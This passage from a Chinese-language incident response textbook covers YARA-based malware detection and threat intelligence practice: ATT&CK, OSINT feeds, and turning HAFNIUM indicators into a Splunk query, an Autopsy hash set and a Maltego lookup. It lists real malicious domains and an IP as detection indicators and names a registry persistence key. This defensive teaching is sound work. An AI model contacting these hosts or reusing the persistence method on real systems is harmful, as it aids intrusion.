在查看规则时,我们可以看到几个突出的关键字符串。首先是 NSIS 加载器在 $x2 = "<assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"X86\" name=\"Nullsoft.NSIS.exehead\" type=\"win32\"/><description>" ascii 中被识别出来。我们还可以看到在 $s10-$s20 中提取的各种 ASCII 字符串。该规则还使用了文件大小条件。这个条件确保文件大小匹配,从而减少误报。唯一缺少的关键字符串是我们之前在 PEStudio 中检查文件时识别出的 URL。这个 URL 可以很容易地作为额外的字符串添加,如下所示:
$x3 = "http://nsis.sf.net/NSIS_Error" ascii
经过少量后处理后,该规则可以应用于其他系统、磁盘或内存映像,或其他文件,以确定是否存在恶意软件。YARA 已成为一个常用工具,用于识别系统中是否存在恶意软件或漏洞利用程序,因此,分析员在处理恶意软件时应将其包含在工具集中。
总结
本章讨论了事件响应者在进行恶意软件分析时需要关注的各个要素。首先,理解恶意软件的一般概念是必要的,因为它是对手最为常见的威胁。其次,恶意软件分析的技术——静态分析和动态分析——为响应者提供了提取关键数据点的工具和技术。最后,沙箱系统的使用使得响应者可以迅速且受控地深入了解恶意软件的行为和属性。
从多个方面来看,本章仅仅是对恶意软件分析进行了初步探讨。即便拥有静态和动态分析工具,事件响应分析师仍然需要大量技能训练,才能掌握这一高度专业化的数字取证子领域。尽管这可能会很困难,但至少掌握此类分析的基本知识是非常重要的,因为网络犯罪分子和国家级黑客不断利用更复杂的恶意软件。本章通过考察当前常见的恶意软件类型,深入探讨了恶意软件分析。对两种主要分析方法——静态分析和动态分析——的概述,提供了一些关于可用工具的背景信息。我们讨论的工具可以帮助分析师识别恶意软件的行为,从而加以辨识。最后,执行恶意软件可以提供更多细节。
下一章将结合威胁情报与恶意软件分析,以帮助分析师将他们的观察与其他组织的情况联系起来。
问题
回答以下问题来测试你对本章的理解:
-
下列哪一项不是恶意软件类型?
-
木马
-
键盘记录器
-
Rootkit
-
Webshell
-
-
响应者应当创建一个受控环境来进行恶意软件分析。
-
真实
-
错误
-
-
下列哪一项是静态分析的一种类型?
-
运行时行为
-
字符串提取
-
内存寻址
-
恶意软件编码
-
-
下列哪一项是动态分析的一种类型?
-
反汇编
-
已定义的要点
-
Packer 分析
-
工件提取
-
进一步阅读
请参阅以下内容以获取有关本章所涵盖主题的更多信息:
-
一个提供
.pcap文件和恶意软件样本的资源:www.malware-traffic-analysis.net/index.html -
恶意软件独角兽:
malwareunicorn.org/#/ -
MalwareJake:
malwarejake.blogspot.com/ -
Florian Roth 的 GitHub 账户:
github.com/Neo23x0/
第十七章:利用威胁情报
事件响应的一个重要领域,对组织应对网络攻击能力产生了显著影响的是使用网络威胁情报,或简而言之,威胁情报。网络威胁情报这一术语涵盖了广泛的信息、数据点和技术,使分析师能够识别网络中的攻击类型,作出适当响应,并为未来的攻击做好准备。为了能够有效利用这一能力,信息安全分析师应对各种术语、方法论和工具有扎实的基础,这些工具可以与威胁情报结合使用。如果分析师能够利用这些数据,他们将在采取主动安全措施时处于更有利的位置,并且在发生安全事件时,能够更高效地做出响应。
本章关于网络威胁情报的讨论将涵盖以下关键主题:
-
威胁情报概述
-
威胁情报来源
-
MITRE ATT&CK 框架
-
与 IOC 合作
-
威胁情报与事件响应
威胁情报概述
就像信息安全和事件响应中的一些术语一样,威胁情报有些模糊。政府和学术界等不同组织生产的信息和数据,通常被吹捧为威胁情报。各种商业提供商也有可用的信息,无论是通过免费的还是付费订阅,声称是威胁情报。这常常导致确定什么是威胁情报,什么只是简单的数据或信息时的困难。
确定威胁情报组成部分的一个良好起点是使用定义。以下是 Gartner 研究公司对威胁情报的定义:
“威胁情报是基于证据的知识,包含背景、机制、指标、影响以及可操作的建议,关于现有或新兴的威胁或危险,能够用于指导决策,以应对该威胁或危险。”
在检查此定义时,有几个关键要素需要具备,数据或信息才能被视为威胁情报:
-
基于证据:本章将探讨通过其他过程(如恶意软件分析)获得的证据如何产生威胁情报。任何情报产品要有用,必须首先通过适当的证据收集方法获得。通过这种方式,依赖这些情报的分析师可以确保其有效性。
-
实用性:为了使威胁情报对安全事件的结果或组织的安全态势产生积极影响,它必须具有某种实用性。情报必须在背景和数据方面提供清晰的信息,帮助分析师判断是否正在根据类似性质的其他事件来评估某个事件。
-
可操作性:将数据或信息与威胁情报区分开来的关键要素是行动。情报应该推动行动,无论是特定事件的顺序,还是特定事件聚焦领域,或是针对组织最可能面临的网络威胁实施特定的安全控制。
为了更好地理解这一点,假设一个场景,医疗机构的事故响应团队试图确定哪些类型的攻击最可能发生在其基础设施上。关于网络犯罪分子试图窃取数据的模糊数据并无帮助。这些数据集没有具体的上下文或信息,最终的结果是组织无法将这些信息付诸实践。
另一方面,假设事故响应团队利用第三方威胁情报提供商,并且该第三方详细说明了一个特定的犯罪团伙名称。该提供商还指出,这些团伙目前正通过电子邮件将 PDF 文件发送给医院员工。这些 PDF 文件包含了由 C2 服务器控制的远程访问木马,C2 服务器分布在欧洲。第三方还提供了恶意软件的 MD5 文件哈希值、C2 服务器的 IP 和域名地址,以及与 PDF 文件最相关的文件名。
拥有这些信息后,事故响应团队可以调整他们的安全控制措施,防止电子邮件中的 PDF 附件被打开。他们还可以利用工具搜索他们的基础设施,确定是否已经发生感染。最后,他们还可以配置事件管理解决方案,以便在网络中的任何主机试图与 C2 服务器通信时发出警报。
这两种情况之间的主要区别在于,后一种情况推动了组织内部的行动。在第一种情况下,信息模糊且无用,导致组织没有得到任何改善。在第二种情况下,团队可以执行特定的行动来预防不利情况,或为应对某种情况做好准备。
威胁情报是对网络威胁行为者复杂性和技术水平增加的回应。威胁情报的重点是以下威胁行为者群体:
-
网络犯罪分子:有组织且技术娴熟,网络犯罪分子对银行、零售和其他组织造成了多种金融犯罪。这些团伙的动机纯粹是雇佣性质,他们的目标是获取可以变现的数据。例如,针对零售商如好市多和塔吉特的攻击,涉及盗窃信用卡数据,目的是在暗网或其他黑市上出售这些数据。
-
黑客行为主义:像匿名者和伊德利布烈士旅这样的组织是黑客团体,他们攻击大型企业、政府,甚至宗教机构,以推动政治事业。渗透网络以获取机密数据进行公开或发动拒绝服务攻击,都是为了实现政治目标,而非金钱目的。
-
网络间谍活动:像美国、俄罗斯、中国、伊朗和朝鲜这样的国家,持续从事渗透网络和获取情报的间谍活动。Stuxnet 病毒是最著名的网络攻击之一,据称是由美国和以色列发起的。
理解威胁情报的另一个关键要素是高级持续性威胁(APT)的概念。APT 这一术语大约已有十年历史,用来描述那些能力和动机远超网络犯罪分子或网络破坏者的网络威胁行为者。APT 组织通常会有明确的目标,针对某些组织进行长期的攻击。正如 APT 一词所描述的,这些组织具有以下特征:
-
高级:APT 威胁行为者拥有高级技能。这些技能通常涉及超出开放资源方法所能获取的情报收集能力。包括影像情报(IMINT),它包括通过像 Google Earth 这样的站点获取的图片;信号情报(SIGINT),即通过窃取使用电话基础设施、移动数据或无线电信号的语音和数据通信来收集的情报;最后,APT 组织可以利用人类情报(HUMINT),即通过与人类信息源互动来获取情报。此外,这些组织不仅能使用先进的网络渗透工具,还擅长发现零日漏洞,并开发专门针对这些漏洞的定制恶意软件和漏洞利用工具。
-
持续性:APT 威胁行为者专注于一个明确的目标,并且通常会放弃其他机会以便更接近实现目标。APT 威胁行为者往往会花费数月甚至数年时间,通过智能化利用漏洞,持续进行攻击,避免被检测机制发现。APT 威胁行为者与其他威胁行为者的一个关键区别在于他们的意图是长时间保持在目标网络内。虽然网络犯罪团伙可能会停留足够长的时间以下载一整个包含信用卡信息的数据库,但 APT 团伙会尽可能长时间地保持对网络的访问权限。
-
威胁:对于面临 APT(高级持续性威胁)组织的企业来说,它们无疑是一种威胁。APT 威胁行为者进行攻击时通常有明确的目标,并具备所需的基础设施和技能,能够攻击像大型企业、军队和政府组织这样的目标。
威胁情报是一个广泛的研究领域,涵盖了许多互相关联的元素。最终,威胁情报应该推动组织采取行动。这种行动通常是在对威胁情报进行仔细评估后决定的。评估过程中包括理解正在审查的威胁情报类型,以及这些类型为组织提供的每种优势。
威胁情报类型
在讨论构成威胁情报的各种信息类型和数据集时,它们通常会归入以下三大类之一:
-
战术威胁情报:这是三种威胁情报类别中最细粒度的一种。此类别中的信息涉及妥协指示符(IOCs)、攻击指示符(IOAs)或战术、技术和程序(TTPs):
-
IOCs:IOC 是系统上观察到的工件,表明系统遭受了某种形式的妥协。例如,C2(命令与控制)IP 地址或恶意文件的 MD5 哈希值都是 IOCs。
-
IOAs:IOA 是系统上观察到的一种工件,表明存在攻击或攻击尝试。它与 IOC 有所不同,因为 IOA 并不表示系统已被攻破,而是表明系统受到了攻击,这是由于攻击者在攻击系统时留下的指示。例如,防火墙日志中可能留下的连接尝试,表明使用 Nmap 或其他网络扫描工具进行了自动端口扫描。
-
TTPs:人类是习惯的动物,因此,网络攻击者通常会开发出独特的攻击网络方法。例如,一个网络犯罪团伙可能偏好发送一封带有 Excel 电子表格的社交工程邮件,该电子表格会执行远程访问木马。从那里,他们可能会尝试访问信用卡销售点(POS)设备,并将另一种恶意软件感染到其中。该团伙执行这种攻击的方式就是他们的 TTPs。
-
-
操作性威胁情报:过去十年,越来越多的协调性攻击不仅仅针对单个组织,而是可能针对整个行业、地区或国家。操作性威胁情报是关于网络攻击和网络威胁行为者的更广泛目标的数据和信息。这通常不仅仅涉及分析事件响应团队所在组织,还需要分析网络威胁行为者是如何攻击更大的行业。例如,在之前的例子中,医疗机构的事件响应人员准备应对一场攻击,了解类似规模和人员配置的医疗机构遭遇的攻击类型将有助于他们调整自己的安全控制措施以应对普遍存在的威胁。
-
战略威胁情报:高级领导层如 CIO 或 CISO 通常必须关注组织的战略目标,并采取必要的控制措施,以确保组织能够应对网络威胁形势。战略威胁情报分析网络攻击趋势、当前流行的网络威胁行为者以及主要目标行业。其他关键数据点包括威胁行为者或团体在攻击中可能利用的技术变化。
威胁情报的最佳利用方式是理解这些类型的情报如何整合到整体战略中。利用所有三种类型的内部和外部威胁情报,能帮助决策者了解威胁形势,帮助管理者实施适当的安全控制和程序,帮助分析员识别正在发生的安全问题或准备应对网络攻击。
痛苦金字塔
用于描述对手可能利用的各种类型的 IOC(入侵指示器)和 IOA(入侵行动指示器)以及他们在攻击过程中修改这些指示器的能力的有用模型是痛苦金字塔。这个模型由 David Bianco 开发,描述了防御者通过观察攻击者的行为以及攻击者修改这些指示器的能力之间的关系。下图展示了各种指示器与修改它们以绕过安全控制所需工作量之间的关系:

图 17.1 – 痛苦金字塔
例如,攻击者可能设计了一种恶意软件,通过 Windows SMB 协议进行横向传播。为了绕过传统的基于签名的恶意软件防护工具,攻击者使用了一种变种病毒,每次安装时其哈希值都会发生变化。这种变化使得恶意软件能够绕过该防护措施。其他指示器,如网络或主机遗留物,对于攻击者来说更难以更改,因此响应人员通过在金字塔的顶部层次对齐安全控制,可以更大程度上成功阻止攻击。
从威胁情报的角度来看,“痛苦金字塔”允许响应人员将威胁情报需求与长期战略中有用的信息对齐。了解威胁行为者使用的 TTP(战术、技术和程序)的详细信息和情报,将提供更多关于威胁行为者操作方式的见解。较低级别的指示器,如 C2 服务器的 IP 地址,虽然有用,但响应人员需要明白,这些可以被对手轻易更改。
威胁情报方法论
威胁情报经历一个反馈周期,以跟上不断变化的环境。虽然有多种方法可以为这个挑战提供上下文,但美国国防部使用的情报周期是一个常用的模型。这个周期为组织提供了一个框架和起点,使其能够将威胁情报融入到运营中:

图 17.2 – 情报周期
各个阶段的解释如下:
-
方向:决策者,如 CISO(首席信息安全官)、信息安全人员或事件响应分析师,设定所需的威胁情报。在确定情报需求时,最好识别每种威胁情报类型的使用者。例如,CISO 可能想要了解预计明年对医院的网络攻击趋势。事件响应分析师可能需要知道其他医疗机构中正在看到哪些恶意软件的 IOC(指标)。组织也可以从查看正在使用的关键系统和应用程序入手,以及它们试图保护的关键数据。另一个好的起点是,如果组织已经掌握了一些关于可能面临的网络威胁的信息。
-
收集:在收集阶段,组织从其来源获取数据和信息。在网络威胁情报方面,这可以来自政府组织,如政府支持的 CERT,或通过出售经过筛选和分析的威胁情报的商业组织。最后,组织还可以利用大量的开源情报(OSINT)源。例如,像 VirusTotal 和 Malware Bazaar 这样的恶意软件网站会向更大的网络安全和响应社区提供 IOCs 和完整示例。还有像 AlienVault 这样的供应商提供可以搜索 IOC 的完整平台。商业实体也会向社区提供一些威胁情报。OSINT 对于刚起步且需要展示威胁情报价值的组织来说,非常有价值,而不会让其破产。此外,OSINT 还可以作为组织整体情报收集的重要组成部分。
-
处理:组织可能获得的情报量庞大。在处理阶段,组织将原始数据进行评估,确定数据的相关性和可靠性,然后将其整理好,进入下一步。
-
分析:在分析阶段,组织评估已处理的数据,并将其与其他来源的数据结合。从这里开始,数据被解读,最终的产品可以被视为精心整理或正确评估的威胁情报。
-
传播:新整理的威胁情报随后会发送给组织内的各个用户使用。
这一方法论的循环特性确保反馈成为过程的一部分。参与收集和处理的分析师应确保他们能够获得有关传播情报的相关性和真实性的反馈。从这里开始,他们可以随着时间的推移调整情报产品。这确保了最终用户消耗的情报在相关性和准确性上的最高水平。
现在我们已经涵盖了威胁情报的基础元素,让我们来看看如何获取这些数据。
获取威胁情报
一个组织可以利用三种主要的威胁情报来源。威胁情报可以通过组织内部流程生成,通过开源方法获取,或者最终通过第三方威胁情报供应商获得。每个组织可以利用自己的内部流程来确定其需求和需要利用的来源。
内部开发的来源
最复杂的威胁情报来源是组织内部开发的情报。这是由于获取恶意软件活动中的各个 IOC(指标)和威胁行为者的 TTP 所需的基础设施。为了获得 IOC,组织可以利用蜜罐或其他故意存在漏洞的系统来获取独特的恶意软件样本。他们还需要具备评估可疑恶意软件并进行逆向工程的专业知识和系统。之后,他们就能够提取个别的 IOC,进而加以利用。
其他系统,如 SIEM 平台,可以用来跟踪攻击者在尝试渗透网络时的 TTP(战术、技术和程序)。从这里,安全运营中心(SOC)分析员可以记录不同攻击者如何进行渗透尝试。通过这些信息,组织可以建立特定团体的画像。这有助于将安全控制措施与网络入侵的预防或检测更好地对齐。
在内部开发威胁情报需要具备恶意软件分析、网络和主机取证等领域的专业知识。此外,所需的基础设施通常是昂贵的。因此,组织通常被迫依赖第三方供应商或其他组织公开分享的信息。
商业采购
内部获取的替代方案是与威胁情报供应商签订合同。这些组织利用他们的人员和基础设施来获取恶意软件、分析攻击并对各种威胁团体进行研究。商业威胁情报提供商通常会处理威胁情报,以便针对单个客户组织量身定制。
通常,商业供应商会为多种客户提供 SIEM 和 SOC 服务,利用一个通用的 SIEM 平台。在这里,他们可以汇总来自全球各个企业的恶意软件样本和攻击数据。这使他们能够为客户提供全面的产品。这是使用商业服务的一个显著优势,除此之外,还能通过将费用转移给第三方来节省成本。
开源情报
已经成为各种规模组织非常流行的一个信息来源区域是 OSINT 提供者。社区团体甚至商业企业向更广大的网络社区免费提供威胁情报。像 SANS 和 US-CERT 这样的团体提供有关威胁和漏洞的具体信息。商业提供者如 AlienVault 提供了一个开放威胁交换(OTX),允许用户社区分享威胁情报,如 IOC 和 TTP。其他商业组织提供 APT 组或信息安全行业新兴趋势的白皮书和报告。根据组织的不同,OSINT 通常非常有用,并提供了一个低成本的替代商业服务的选择。
开源情报(OSINT)的广泛应用导致各种组织创建了方法来跨组织共享威胁情报。根据信息源,组织获取威胁情报的实际方式取决于其配置方式。
虽然并非完全详尽的列表,但以下是一些可用的网络威胁 OSINT 格式:
-
OpenIOC:OpenIOC 最初是为了 Mandiant 产品可以摄取威胁情报并利用它在分析系统上搜索妥协证据而开发的。它已经发展成为描述技术 IOC 的 XML 架构,供事件响应人员在确定系统是否受到侵害时使用。
-
STIX:结构化威胁信息表达(STIX)是 OASIS 联盟的产品。这种机器可读格式允许组织在各种商业和免费软件威胁情报聚合平台之间共享威胁情报。
-
TAXII:可信自动化情报信息交换(TAXII)是一种应用层协议,通过 HTTPS 共享威胁情报。TAXII 定义了一个 API,可用于以 STIX 格式分享威胁情报。
-
VERIS:事件记录和事件分享词汇(VERIS)是一种用于标准化网络安全事件语言的综合架构。VERIS 试图解决的一个主要问题是缺乏标准的安全事件文档化方式。VERIS 提供了一种结构,使组织能够定义分类可能发生的各种攻击方式。VERIS 架构还作为组织提供的数据收集点,这些数据被纳入到 Verizon 数据泄露研究中。
随着各种情报来源的出现,一个面临的挑战是组织聚合、组织和利用威胁情报的能力。在下一节中,威胁情报平台的讨论将提供解决这些问题的见解。
MITRE ATT&CK 框架
回顾上一节的“痛苦金字塔”讨论,我们可以看到在最顶部的是对手使用的 TTP(战术、技术和程序)。修改这些内容需要对手额外的资源和时间。从威胁情报和缓解的角度聚焦于 TTP 也能为防御者提供更好的保护,因为检测不依赖于可以轻易修改的指示符(如域名或 IP 地址)。
MITRE 公司创建了对抗战术、技术与常识(ATT&CK)知识库,网址为attack.mitre.org/。该知识库整合了对手的手艺、战术、技术和行为,涵盖了网络攻击的各个阶段。该项目于 2013 年 9 月启动,到写作时,已经更新到了第九个版本。
ATT&CK 知识库最初专注于 Windows 操作系统,但在其发展过程中,也加入了针对 macOS 和 Linux 的恶意活动。MITRE 还将一些前期攻击技术(如资源开发和侦察)纳入了知识库。最后,MITRE 最近也将对手用于攻陷移动设备的战术和技术纳入了知识库。
该行为模型有三个核心组成部分。第一个组成部分是战术。这十四个单独的战术代表了对手在攻击序列中的目标。例如,我们来看 MITRE 定义的持久性战术,见以下截图:

图 17.3 – MITRE ATT&CK 持久性
MITRE 将“持久性”定义为对手试图保持其立足点。这一定义进一步扩展为下一个组成部分:技术。技术是对手为了实现整体战术目标而使用的手段和方法。例如,对手可以利用启动或登录脚本来维持持久性,正如 MITRE ATT&CK 技术T1037在以下截图中所示:

图 17.4 – MITRE ATT&CK 技术 T1037
技术描述不仅提供了定义,还包括其他关键资源。例如,数据源字段展示了事件响应者和数字取证分析员可能的证据来源,用以确认该技术的使用情况。常见攻击模式枚举与分类标识(CAPEC)ID 将 MITRE ATT&CK 框架与MITRE CAPEC进行了交叉引用。CAPEC,网址为capec.mitre.org/,提供了对手攻击模式的详细信息。
MITRE ATT&CK 框架中的许多技术也包含子技术。这些子技术提供了对对手在执行技术时使用的各种方法和工具的更细致的观察。例如,如果我们进一步深入,我们会看到条目ID T1037.001,如下图所示:

图 17.5 – MITRE ATT&CK T1307.001 程序示例
这为威胁行为者使用的战术和技术提供了现实世界的背景。例如,在这种情况下,我们看到威胁群体HKCU\Environment\UserInitMprLogonScript注册表键用于在系统中保持持久性。
除了战术和技术,MITRE ATT&CK 框架还充当了恶意工具和威胁行为者群体的汇总。例如,我们确定了 APT28 使用特定的工具来保持持久性,但我们可能甚至不知道 APT28 是谁或是什么。通过技术部分中的链接,我们看到 MITRE ATT&CK 框架包含了对威胁行为者的概述、其起源、别名,以及它执行的高调攻击回顾。

图 17.6 – APT28 概况
在讨论别名时,将战术和技术与群体联系起来有几个挑战。首先,群体可能会在一次行动后出现然后消失。个人可能会变化。最后,像 FireEye 和 RecordedFuture 这样的威胁情报研究人员有他们自己的命名法来描述群体。如我们在前面的例子中所见,APT28 也可能与其他群体有关联。MITRE 提供了更详细的群体及其相关命名的细分。

图 17.7 – APT28 相关群体描述
深入档案,我们可以看到该群体在执行攻击时使用的战术和技术列表。

图 17.8 – APT28 使用的技术
除了 APT28 被证明使用的战术和技术,MITRE 还包括了特定的工具,如利用框架、恶意软件和漏洞利用工具,例如使用凭证收集工具,如下图所示:

图 17.9 – Mimikatz 工具使用
你可能已经推测到,我们可以通过 Mimikatz 条目来更好地理解该工具本身。如果你有这个想法,你是正确的。点击Mimikatz会展示该工具的概述。

图 17.10 – Mimikatz 工具概况
除了提供一个易于搜索的界面,使威胁情报专业人员能够交叉引用工具、技术和战术外,该框架还被仔细注释。包含的信息源材料可以通过超链接轻松搜索和访问,这样在分析需要回顾源材料时,可以节省时间和资源。
ATT&CK 框架还包括一个导航器,可以轻松查看其中包含的各种战术、技术和工具。可以通过网址 mitre-attack.github.io/attack-navigator/v2/enterprise/ 访问该导航器。该网站在顶部行列出战术,在列中列出相应的技术,如以下截图所示:

图 17.11 – ATT&CK Navigator
导航器还具有多个控制项,允许用户与该工具进行互动。在这种情况下,图 17.12展示了可用的各种控制项:

图 17.12 – ATT&CK Navigator 控制
例如,我们将使用多选功能突出显示 APT28 组使用的技术。首先,点击选择控制下的带有加号的汉堡图标,如图 17.13所示。这将显示以下菜单:

图 17.13 – ATT&CK Navigator 多选功能
下拉菜单包含 ATT&CK 框架中包含的威胁组和软件的情报。向下滚动威胁组至APT,然后点击选择。这将为与该组相关的技术添加边框。接下来,点击层控制下的颜色调色板:

图 17.14 – ATT&CK Navigator 调色板控制
调色板允许您更改各种技术的背景颜色。在这种情况下,我们只检查一个层,因此在0到1之间突出显示 APT28 技术为红色。
下一步是设置评分,以显示 APT28 的技术。通过点击技术控制下的条形图图标访问评分菜单:

图 17.15 – ATT&CK Navigator 技术控制评分
在评分下输入数字 1,然后点击Enter。这将高亮显示红色技术。此时,您可以通过右键点击特定技术并点击查看技术来探索导航器。这将带您到特定技术的页面,如我们之前所见。
我们现在要查看的最后一个功能是能够下载与 APT28 相关的技术。在图层控制下,你可以通过向下箭头图标下载 JSON 文件,通过图表图标下载 逗号分隔值(CSV)文档,最后,通过相机图标下载图片。

图 17.16 – ATT&CK Navigator 捕获选项
点击相机图标会在 Navigator 中打开第二个标签页。在最右侧,可以下载该图像的副本。

图 17.17 – ATT&CK Navigator APT28 战术与技术
ATT&CK 框架是一个极好的资源,可以深入了解威胁行为者使用的战术、技术和工具。自其诞生以来,这一框架已经与组织的威胁情报和事件响应报告紧密结合,迅速成为组织定义其观察结果的标准。
处理 IOCs 和 IOAs
许多组织在开始利用威胁情报的过程中常犯的一个常见错误是,仅仅订阅一些商业或开源数据源并启用它们。这种做法会导致企业迅速被大量数据淹没。大多数数据对组织来说是无法使用的。现实情况是,分析师和其他相关人员应当通过制定哪些数据对其组织相关来筛选数据,并使用能够提供最佳相关数据的来源。
在这种情况下,我们将重点关注 OSINT 来源。有几家商业公司,如 CrowdStrike 和 AlienVault,提供 IOC 和 IOA 给社区。其他网站则专注于为网络安全社区提供服务,而没有商业组件。以下是分析师可以利用的一些资源:
-
AlienVault 开放威胁交换平台(OTX):该网站可通过
otx.alienvault.com/访问,聚合了来自商业企业(如 Cisco Talos 和 Palo Alto Unit 42)以及全球独立研究人员的指标和威胁情报报告。这些情报被汇总后,用户可以根据关键词、IOC,甚至特定威胁行为者进行搜索。 -
VirusTotal:IOC 的关键来源之一是 VirusTotal。该网站,
www.virustotal.com/,以及相关数据由 Google 拥有和运营,毫无疑问,当涉及到恶意软件情报时,它是分析师和响应者首选的地方。 -
Hybrid Analysis:Hybrid Analysis,网址为
www.hybrid-analysis.com/,由 CrowdStrike 运营。防病毒和 EDR 提供商的一个独特特点是,由于它们在各类组织中的广泛存在,它们通常拥有大量的恶意软件 IOC。Hybrid Analysis 结合了恶意软件沙箱和 IOC 数据库,允许用户同时分析样本并搜索现有样本。 -
abuse.ch提供与僵尸网络和恶意软件相关的 IOC 的子域集合。
这四个站点只是提供 IOC 资源的冰山一角,但它们为制定有针对性的收集计划提供了坚实的基础。这四个站点都提供社区账户,具有最基本的功能,但这些功能仍然非常有用。它们还包括对关键词、IP 地址和文件哈希值的搜索。另一个分析人员关注的功能是 API,它允许通过脚本或其他编程方式查询数据库。我们将在本章后面看看如何利用这一功能。
要访问这些站点,分析人员只需要提供一个电子邮件地址和密码。一种减轻压力的技巧是创建一个仅用于威胁情报站点的专用电子邮件地址。许多这些站点会发送通知,有时每天会有数十条警报。使用一个专门用于访问这些站点并汇总警报的电子邮件帐户,可以避免不断清理主电子邮件帐户。
超棒的威胁情报来源
有一些网站专门聚合了专门提供 IOC 和 IOA(指示器和攻击行为)的站点,供更广泛的社区使用。也有像github.com/hslatman/awesome-threat-intelligence这样的 GitHub 仓库,可以用来制作收集源。同样,使用时需要小心,不要尝试收集过多的数据。
现在我们已经概述了一些来源,让我们看一个示例工作流,在该工作流中,IOC 从威胁情报站点获取并投入实际使用。在这个例子中,一位分析人员希望获取与 HAFNIUM 相关的威胁情报,并通过日志或其他证据搜索其系统是否已被攻击。
在这个例子中,我们将利用 AlienVault OTX。搜索关键字HAFNIUM会显示多个结果。在这种情况下,我们将查看以下链接:otx.alienvault.com/pulse/6127557db7ec02a119d8c23d。
导航到该 URL 将显示以下截图中的参考资料:

图 17.18 – HAFNIUM 情报来源
下面是列出的 IOC 参考:

图 17.19 – HAFNIUM IOCs
要使用这些 IOCs,我们需要先下载它们。在页面的右上角有一个 下载 按钮。此按钮允许用户以多种格式下载文件,例如 STIX、OpenCTI 和 CSV 文件。在此,下载一个 CSV 文件。

图 17.20 – IOC 下载
下载完成后,访问网站 cti.uncoder.io/。该网站由 SOC Prime 提供给社区,能够将下载中的 IOCs 转换为 SPLUNK 查询。在此,点击 上传 IOCs 并导航到已下载的 AlienVault CSV 文件:

图 17.21 – CTI Uncoder 上传
现在 IOCs 已经下载完成,我们可以使用 Uncoder CTI 构建一个 SPLUNK 查询来搜索与 HAFNIUM 相关的任何匹配域名。在此,点击 根据 IOC 类型生成查询,选择 域名。在 查询平台 中,选择 SPLUNK。其余设置可以保持默认。点击 生成,将生成以下 SPLUNK 查询:
(dest_host="api.onedvirer.xyz" OR dest_host="rawfuns.com" OR dest_host="yolkish.com" OR dest_host="back.rooter.tk" OR dest_host="lab.symantecsafe.org" OR dest_host="mm.portomnail.com" OR dest_host="ns.rtechs.org" OR dest_host="p.estonine.com" OR dest_host="soft.mssysinfo.xyz" OR dest_host="www.averyspace.net" OR dest_host="www.komdsecko.net")
然后可以针对分析员的数据集运行此查询,以查找任何匹配的结果。
这是一个简单的工作流程,但展示了社区或 OSINT 来源提供的原始 IOCs 或 IOAs 如何用于查询和其他调查任务。在此基础上,我们将探讨如何具体利用 IOCs 进行事件响应和数字取证工作,作为调查的一部分。
威胁情报与事件响应
在调查过程中,CSIRT 或分析员可能会遇到事故调查似乎陷入停滞的情况。这可能是因为分析员知道某些地方出问题了,或者有妥协的指示符,但没有具体的证据指向某个特定方向。分析员可以利用威胁情报来增强发现之前未被发现的证据的能力。
Autopsy
许多现有的取证工具可以吸收威胁情报来帮助事件响应分析员。例如,磁盘取证平台(在 第十一章中讨论)可以从威胁情报源中吸收哈希值来搜索 IOCs。除了商业磁盘取证工具外,Autopsy 平台还可以针对哈希集进行搜索。例如,我们可以导入在上一节中分析的 HAFNIUM Pulse 的 MD5 哈希值。在这种情况下,我们将从下载的 CSV 文件中提取 MD5 哈希值,如下图所示,并将其输入到 Autopsy 中。

图 17.22 – IOC CSV 文件
从这里,哈希值可以加载到 Autopsy 中:
- 首先,打开 Autopsy,然后从首页点击 工具,再点击 选项。找到 哈希集 图标并点击它:

图 17.23 – Autopsy 哈希集上传
- 点击新建哈希集,将出现以下窗口:

图 17.24 – 创建哈希集
-
为哈希集数据库输入一个名称。在这种情况下,
HAFNIUM是一个很好的选择,因为这些哈希文件与利用该漏洞的攻击相关。点击另存为,将打开资源管理器窗口。这是为将要创建的数据库提供位置。可以保留默认位置。点击确定。 -
在下一个窗口中,点击将哈希添加到数据库。将出现一个窗口,允许输入哈希值。从 HAFNIUM 情报报告中复制 MD5 哈希值并粘贴到该窗口中:

图 17.25 – 哈希值
- 点击确定,在哈希值成功添加后,应该会出现以下窗口。点击确定:

图 17.26 – 哈希集上传
- 在最后一个屏幕上,点击应用,然后点击确定。此时,哈希值已加载到数据库中。
这个功能允许分析师在磁盘镜像中搜索匹配的哈希值。这比通过其他方法寻找文件更为高效。Autopsy 还允许根据事件使用不同的数据库。不断更新的信息输入功能使分析师能够找到那些一两周前发生的事件中新型攻击的证据,而如果使用传统的搜索方法,这些证据可能会被忽视。
Maltego
一个有用的工具,用于搜索与 IOC(指标对象)相关的各种情报来源,是 Maltego。该工具利用转换将平台连接到第三方来源,如 VirusTotal。这使得分析师能够搜索各种来源,以获取关于指示器(如文件哈希、IP 地址或域名)的额外上下文。Maltego 有多个定价层级,但开发 Maltego 的公司 Paterva 提供了一个社区版,您可以在www.maltego.com/downloads/下载。
下载后,您需要提供电子邮件地址和密码以配置帐户。安装并登录后,以下屏幕将出现:

图 17.27 – Maltego 图形用户界面
图形用户界面的右侧是转换中心(Transform Hub)。在这里,用户可以下载并配置用于从各种来源提取数据的具体工具。在本例中,我们选择VirusTotal (公共 API)转换。值得注意的是,社区版具有有限的转换功能。这对于测试和一些有限的研究是足够的,但如果你需要更多信息,考虑购买许可证版本。将光标悬停在 VirusTotal 转换上会弹出以下窗口:

图 17.28 – VirusTotal 变换
会弹出一个对话框,点击是来安装变换。接下来会出现以下窗口:

图 17.29 – VirusTotal 变换 API
VirusTotal 变换需要一个来自 VirusTotal 的 API 密钥。可以通过在 VirusTotal 创建帐户来获得该 API 密钥。该 API 密钥是免费的,允许 Maltego 运行来自 VirusTotal 的查询。一旦输入 API 密钥,点击确定。你可以为任何其他变换重复这个过程。例如,AlienVault OTX 也有一个在进行事件调查时很有用的变换。
现在我们已经安装了一些变换,可以开始使用 Maltego 了。点击左上角的圆形图标,点击新建。这将打开一个新的图,如下图所示:

图 17.30 – Maltego 新图
在图形用户界面的左侧是实体调色板。这些是 Maltego 可以为用户搜索和绘制的特定类型的 IOC。在这种情况下,我们将查看一个简单的 IP 地址 138.68.79.195,以确定它与其他任何指标之间的关系。点击Ipv4 地址在实体调色板中,然后将其拖动到中间屏幕,再剪切并粘贴 IP 地址。右键单击该实体,运行变换窗口将会打开:

图 17.31 – 运行变换
对于这个例子,我们将运行 AlienVault OTX 变换。点击右箭头。该变换将查询 AlienVault OTX,获取与 IP 地址相关的任何实体或 IOC:

图 17.32 – IP 地址图
